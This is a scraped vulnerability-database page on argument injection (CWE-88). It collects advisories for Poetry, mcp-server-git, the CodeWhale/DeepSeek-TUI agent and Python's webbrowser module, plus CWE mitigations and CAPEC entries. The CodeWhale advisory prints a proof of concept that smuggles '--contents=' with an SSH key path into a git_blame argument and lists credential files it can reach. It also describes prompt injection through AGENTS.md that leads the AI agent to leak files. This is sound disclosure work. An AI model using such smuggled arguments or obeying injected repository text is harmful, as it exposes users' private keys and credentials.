  "details": "### Observation\n\nWhen handling dependencies that come from a Git repository instead of a registry, Poetry uses various commands, such as `git clone`. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Poetry correctly avoids Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (`-`) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.\n\nTo clone a repository, Poetry builds a git clone command, but fails to validate or sanitize the repository location properly:\n\n[`poetry/core/vcs/git.py`](https://github.com/python-poetry/poetry-core/blob/ad33bc2f92be03dc5b31a666664903c439fb1173/poetry/core/vcs/git.py#L207):\n\n```python\ndef clone(self, repository: str, dest: Path) -\u003e str:\n    return self.run(\"clone\", \"--recurse-submodules\", repository, str(dest))\n```\n\nSince this value comes from the `pyproject.toml` file, it can contain any character, including a leading dash.\n\n### Impact\n\nThis vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems.\nSince this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by vetting any Git or Poetry config files that might be present in the directory.\nThis kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.\n\n### Patches\n\n1.1.8 || 1.2.0b1\n\n### Remediation\n\nUpgrade to version 1.1.9 || 1.2.0b1\n\n### References\n\n[Fix PR](https://github.com/python-poetry/poetry-core/pull/202)\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@python-poetry.org](mailto:security@python-poetry.org)\n",
  "id": "GHSA-9xgj-fcgf-x6mw",
  "modified": "2024-10-21T20:25:55Z",
  "published": "2022-09-16T19:26:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-9xgj-fcgf-x6mw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36069"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/poetry/PYSEC-2022-266.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-poetry/poetry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/1.1.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/1.2.0b1"
    },
    {
      "type": "WEB",
      "url": "https://www.sonarsource.com/blog/securing-developer-tools-package-managers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Poetry Argument Injection can lead to Local Code Execution"
}

GHSA-9XWC-HFWC-8W59

Vulnerability from github – Published: 2025-12-17 22:50 – Updated: 2025-12-20 05:17

Summary

mcp-server-git argument injection in git_diff and git_checkout functions allows overwriting local files

Details

In mcp-server-git versions prior to 2025.12.18, the git_diff and git_checkout functions passed user-controlled arguments directly to git CLI commands without sanitization. Flag-like values (e.g., --output=/path/to/file for git_diff) would be interpreted as command-line options rather than git refs, enabling arbitrary file overwrites. The fix adds validation that rejects arguments starting with - and verifies the argument resolves to a valid git ref via rev_parse before execution. Users are advised to update to 2025.12.18 resolve this issue.

Thank you to https://hackerone.com/yardenporat for reporting.

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-server-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.12.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-17T22:50:29Z",
    "nvd_published_at": "2025-12-17T23:16:04Z",
    "severity": "MODERATE"
  },
  "details": "In mcp-server-git versions prior to 2025.12.18, the git_diff and git_checkout functions passed user-controlled arguments directly to git CLI commands without sanitization. Flag-like values (e.g., `--output=/path/to/file` for `git_diff`) would be interpreted as command-line options rather than git refs, enabling arbitrary file overwrites. The fix adds validation that rejects arguments starting with - and verifies the argument resolves to a valid git ref via rev_parse before execution. Users are advised to update to 2025.12.18 resolve this issue.\n\nThank you to https://hackerone.com/yardenporat for reporting.",
  "id": "GHSA-9xwc-hfwc-8w59",
  "modified": "2025-12-20T05:17:54Z",
  "published": "2025-12-17T22:50:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-9xwc-hfwc-8w59"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68144"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/servers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": " mcp-server-git argument injection in git_diff and git_checkout functions allows overwriting local files"
}

GHSA-C6MW-8XH8-GPQ6

Vulnerability from github – Published: 2026-09-04 18:11 – Updated: 2026-09-04 18:11

Summary

CodeWhale: Argument Injection in `git_blame` Tool Allows Arbitrary File Read Without Approval

Details

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 9a34b5034d29f05d1f28fa61b04719ca6a741020. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

Argument Injection in `git_blame` Tool Allows Arbitrary File Read Without Approval

Overview

The git_blame tool in DeepSeek-TUI passes the model-supplied rev parameter unvalidated into the argv of git blame. git blame accepts --contents=<file>, which causes it to use the file's contents in place of the working tree and echo each line verbatim in the blame output. A rev value of --contents=/path/to/secret therefore exfiltrates the targeted file's contents into the tool result, which is returned to the model and displayed in the chat transcript.

The tool is registered with ApprovalRequirement::Auto and declares ToolCapability::ReadOnly. The read is in-scope for the capability label, but the target of the read is not the user expects git_blame to read files inside the workspace, not arbitrary paths on the host.

This is a sibling of the git_show argument-injection vulnerability filed separately, sharing the same root cause (missing --end-of-options sentinel and unvalidated rev).

Impact

Arbitrary file read at the privilege of the user running DeepSeek-TUI, via malicious repository content combined with prompt injection (the threat model already documented in CVE-2026-45311).

Reachable as the invoking user:

~/.ssh/id_rsa, ~/.ssh/id_ed25519, and other private keys
~/.aws/credentials, ~/.config/gh/hosts.yml, ~/.netrc
.env files anywhere in the filesystem
Any project file outside the workspace the tool would normally restrict to

The leaked contents land in the model's context. The same model that obeyed the prompt-injection in step one can be instructed to forward the leak via fetch_url (network-policy permitting), summarize it in chat, or write it into a tool output the attacker can later retrieve.

Technical Details

Root Cause

crates/tui/src/tools/git_history.rs:

// L314-316
fn approval_requirement(&self) -> ApprovalRequirement {
    ApprovalRequirement::Auto
}

// L322-358 (excerpt)
async fn execute(&self, input: Value, context: &ToolContext) -> Result<ToolResult, ToolError> {
    let path_str = required_str(&input, "path")?;
    let resolved_path = context.resolve_path(path_str)?;   // path is bounded to workspace
    ...
    let rev = optional_str(&input, "rev").unwrap_or("HEAD");   // rev is NOT bounded
    ...
    let mut args = vec![
        "blame".to_string(),
        "--date=iso".to_string(),
        format!("-L{start_line},{end_line}"),
    ];
    if porcelain { args.push("--line-porcelain".to_string()); }
    args.push(rev.to_string());            // unvalidated, no sentinel
    args.push("--".to_string());
    args.push(pathspec.display().to_string());
    ...
}

path correctly flows through context.resolve_path, which enforces workspace containment (spec.rs:342). rev does not and the -- separator after rev only ends pathspec parsing, it does not stop option parsing of rev itself.

The JSON schema for rev (L283-285) is {"type": "string"} with no constraints.

Why `--contents` Works

git blame --contents=<file> -- <pathspec> blames the working tree path as if its contents were the supplied file. Each line of the supplied file appears verbatim in the porcelain or human-readable output, prefixed with the attribution marker 00000000 (External file (--contents) <date> N). The full line content is preserved.

Two secondary primitives in the same parser also leak data, with smaller yield:

--ignore-revs-file=<file> : surfaces parse errors that disclose partial content when the file is not a valid revs list.
-S <file>, --reverse <rev1>..<rev2> : not directly exploitable for read but expand the option surface that argv injection can reach.

Proof of Concept

Argv assembled by the tool with input {"path": "a.txt", "rev": "--contents=/home/a/.ssh/id_rsa"}:

git blame --date=iso -L1,200 --contents=/home/a/.ssh/id_rsa -- a.txt

Reproduced against system git as a non-root user:

$ id
uid=1001(a) gid=1001(a) groups=1001(a)

$ echo "PRIVATEKEYDATA" > /home/a/.ssh/id_rsa
$ chmod 600 /home/a/.ssh/id_rsa

$ git blame --date=iso -L1,5 "--contents=/home/a/.ssh/id_rsa" -- a.txt
00000000 (External file (--contents) 2026-05-19 07:05:51 -0400 1) PRIVATEKEYDATA

A non-readable target (/etc/shadow, owned by root with mode 0640) returns Permission denied, confirming the read is bounded by uid as expected; this is not a privilege boundary bypass, it is the desktop user's own filesystem view being exposed past the workspace boundary the tool's path argument otherwise enforces.

End-to-end exploitation is identical to the git_show companion: malicious repo → AGENTS.md injection → model calls git_blame with the crafted rev → auto-approval → leaked content returned in tool output and consumed by the model.

Remediation

Same shape as the git_show fix:

args.push("--end-of-options".to_string());
args.push(rev.to_string());
args.push("--".to_string());
args.push(pathspec.display().to_string());

Plus a leading-hyphen rejection on rev. A regression test should pin both rev = "--contents=/etc/passwd" and rev = "--ignore-revs-file=/etc/passwd" as rejected inputs.

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

8.3 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.27"
            },
            {
              "last_affected": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.27"
            },
            {
              "fixed": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "codewhale-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "codewhale"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-04T18:11:45Z",
    "nvd_published_at": "2026-08-18T16:18:23Z",
    "severity": "HIGH"
  },
  "details": "### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 9a34b5034d29f05d1f28fa61b04719ca6a741020. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n# Argument Injection in `git_blame` Tool Allows Arbitrary File Read Without Approval\n\n## Overview\n\nThe `git_blame` tool in DeepSeek-TUI passes the model-supplied `rev` parameter unvalidated into the argv of `git blame`. `git blame` accepts `--contents=\u003cfile\u003e`, which causes it to use the file\u0027s contents in place of the working tree and echo each line verbatim in the blame output. A `rev` value of `--contents=/path/to/secret` therefore exfiltrates the targeted file\u0027s contents into the tool result, which is returned to the model and displayed in the chat transcript.\n\nThe tool is registered with `ApprovalRequirement::Auto` and declares `ToolCapability::ReadOnly`. The read is in-scope for the capability label, but the *target* of the read is not the user expects `git_blame` to read files inside the workspace, not arbitrary paths on the host.\n\nThis is a sibling of the `git_show` argument-injection vulnerability filed separately, sharing the same root cause (missing `--end-of-options` sentinel and unvalidated `rev`).\n\n## Impact\n\nArbitrary file read at the privilege of the user running DeepSeek-TUI, via malicious repository content combined with prompt injection (the threat model already documented in CVE-2026-45311).\n\nReachable as the invoking user:\n\n- `~/.ssh/id_rsa`, `~/.ssh/id_ed25519`, and other private keys\n- `~/.aws/credentials`, `~/.config/gh/hosts.yml`, `~/.netrc`\n- `.env` files anywhere in the filesystem\n- Any project file outside the workspace the tool would normally restrict to\n\nThe leaked contents land in the model\u0027s context. The same model that obeyed the prompt-injection in step one can be instructed to forward the leak via `fetch_url` (network-policy permitting), summarize it in chat, or write it into a tool output the attacker can later retrieve.\n\n## Technical Details\n\n### Root Cause\n\n`crates/tui/src/tools/git_history.rs`:\n\n```rust\n// L314-316\nfn approval_requirement(\u0026self) -\u003e ApprovalRequirement {\n    ApprovalRequirement::Auto\n}\n\n// L322-358 (excerpt)\nasync fn execute(\u0026self, input: Value, context: \u0026ToolContext) -\u003e Result\u003cToolResult, ToolError\u003e {\n    let path_str = required_str(\u0026input, \"path\")?;\n    let resolved_path = context.resolve_path(path_str)?;   // path is bounded to workspace\n    ...\n    let rev = optional_str(\u0026input, \"rev\").unwrap_or(\"HEAD\");   // rev is NOT bounded\n    ...\n    let mut args = vec![\n        \"blame\".to_string(),\n        \"--date=iso\".to_string(),\n        format!(\"-L{start_line},{end_line}\"),\n    ];\n    if porcelain { args.push(\"--line-porcelain\".to_string()); }\n    args.push(rev.to_string());            // unvalidated, no sentinel\n    args.push(\"--\".to_string());\n    args.push(pathspec.display().to_string());\n    ...\n}\n```\n\n`path` correctly flows through `context.resolve_path`, which enforces workspace containment (`spec.rs:342`). `rev` does not and the `--` separator after `rev` only ends pathspec parsing, it does not stop option parsing of `rev` itself.\n\nThe JSON schema for `rev` (L283-285) is `{\"type\": \"string\"}` with no constraints.\n\n### Why `--contents` Works\n\n`git blame --contents=\u003cfile\u003e -- \u003cpathspec\u003e` blames the working tree path *as if its contents were the supplied file*. Each line of the supplied file appears verbatim in the porcelain or human-readable output, prefixed with the attribution marker `00000000 (External file (--contents) \u003cdate\u003e N)`. The full line content is preserved.\n\nTwo secondary primitives in the same parser also leak data, with smaller\nyield:\n\n- `--ignore-revs-file=\u003cfile\u003e` : surfaces parse errors that disclose partial content when the file is not a valid revs list.\n- `-S \u003cfile\u003e`, `--reverse \u003crev1\u003e..\u003crev2\u003e` : not directly exploitable for read but expand the option surface that argv injection can reach.\n\n## Proof of Concept\n\nArgv assembled by the tool with input\n`{\"path\": \"a.txt\", \"rev\": \"--contents=/home/a/.ssh/id_rsa\"}`:\n\n```\ngit blame --date=iso -L1,200 --contents=/home/a/.ssh/id_rsa -- a.txt\n```\n\nReproduced against system `git` as a non-root user:\n\n```\n$ id\nuid=1001(a) gid=1001(a) groups=1001(a)\n\n$ echo \"PRIVATEKEYDATA\" \u003e /home/a/.ssh/id_rsa\n$ chmod 600 /home/a/.ssh/id_rsa\n\n$ git blame --date=iso -L1,5 \"--contents=/home/a/.ssh/id_rsa\" -- a.txt\n00000000 (External file (--contents) 2026-05-19 07:05:51 -0400 1) PRIVATEKEYDATA\n```\n\nA non-readable target (`/etc/shadow`, owned by root with mode 0640) returns `Permission denied`, confirming the read is bounded by uid as expected; this is not a privilege boundary bypass, it is the desktop user\u0027s own filesystem view being exposed past the workspace boundary the tool\u0027s `path` argument otherwise enforces.\n\nEnd-to-end exploitation is identical to the `git_show` companion: malicious repo \u2192 `AGENTS.md` injection \u2192 model calls `git_blame` with the crafted `rev` \u2192 auto-approval \u2192 leaked content returned in tool output and consumed by the model.\n\n## Remediation\n\nSame shape as the `git_show` fix:\n\n```rust\nargs.push(\"--end-of-options\".to_string());\nargs.push(rev.to_string());\nargs.push(\"--\".to_string());\nargs.push(pathspec.display().to_string());\n```\n\nPlus a leading-hyphen rejection on `rev`. A regression test should pin both `rev = \"--contents=/etc/passwd\"` and `rev = \"--ignore-revs-file=/etc/passwd\"` as rejected inputs.",
  "id": "GHSA-c6mw-8xh8-gpq6",
  "modified": "2026-09-04T18:11:45Z",
  "published": "2026-09-04T18:11:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-c6mw-8xh8-gpq6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75912"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/commit/9a34b5034d29f05d1f28fa61b04719ca6a741020"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Hmbown/CodeWhale"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/codewhale-before-argument-injection-via-git-blame"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CodeWhale: Argument Injection in `git_blame` Tool Allows Arbitrary File Read Without Approval"
}

GHSA-CCCX-M78H-M3XW

Vulnerability from github – Published: 2026-04-14 00:31 – Updated: 2026-08-05 03:30

Details

Mitgation of CVE-2026-4519 was incomplete. If the URL contained "%action" the mitigation could be bypassed for certain browser types the "webbrowser.open()" API could have commands injected into the underlying shell. See CVE-2026-4519 for details.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L

7.0 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

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{
  "affected": [],
  "aliases": [
    "CVE-2026-4786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-13T22:16:30Z",
    "severity": "HIGH"
  },
  "details": "Mitgation of\u00a0CVE-2026-4519 was incomplete. If the URL contained \"%action\" the mitigation could be bypassed for certain browser types the \"webbrowser.open()\" API could have commands injected into the underlying shell. See\u00a0CVE-2026-4519 for details.",
  "id": "GHSA-cccx-m78h-m3xw",
  "modified": "2026-08-05T03:30:22Z",
  "published": "2026-04-14T00:31:12Z",
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      "type": "CVSS_V4"
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}

Mitigation

Implementation

Strategy: Parameterization

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.

Mitigation

Architecture and Design

Strategy: Input Validation

Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Mitigation

Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Mitigation

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Mitigation

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Mitigation

Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Mitigation

Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

CAPEC-137: Parameter Injection

An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.

CAPEC-174: Flash Parameter Injection

An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.

CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads

This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.

CAPEC-460: HTTP Parameter Pollution (HPP)

An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

← Back to the CWE list

CWE-88

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Vulnerability Metadata

Summary

Vulnerable Code Analysis

Attack Flow

Proof of Concept (Steps to Reproduce)

Impact

Remediation

Attachments

Credits

Summary

Root Cause

Impact

Proof of Concept

Attack Chain

Bypass Evidence

Affected Versions

Suggested Fix

Impact

Workarounds

Fixed Versions

For more information

Observation

Impact

Patches

Remediation

References

For more information

Maintainer resolution

Argument Injection in git_blame Tool Allows Arbitrary File Read Without Approval

Overview

Impact

Technical Details

Root Cause

Why --contents Works

Proof of Concept

Remediation

Mitigation

Mitigation

Mitigation MIT-5

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-137: Parameter Injection

CAPEC-174: Flash Parameter Injection

CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads

CAPEC-460: HTTP Parameter Pollution (HPP)

CAPEC-88: OS Command Injection

Argument Injection in `git_blame` Tool Allows Arbitrary File Read Without Approval

Why `--contents` Works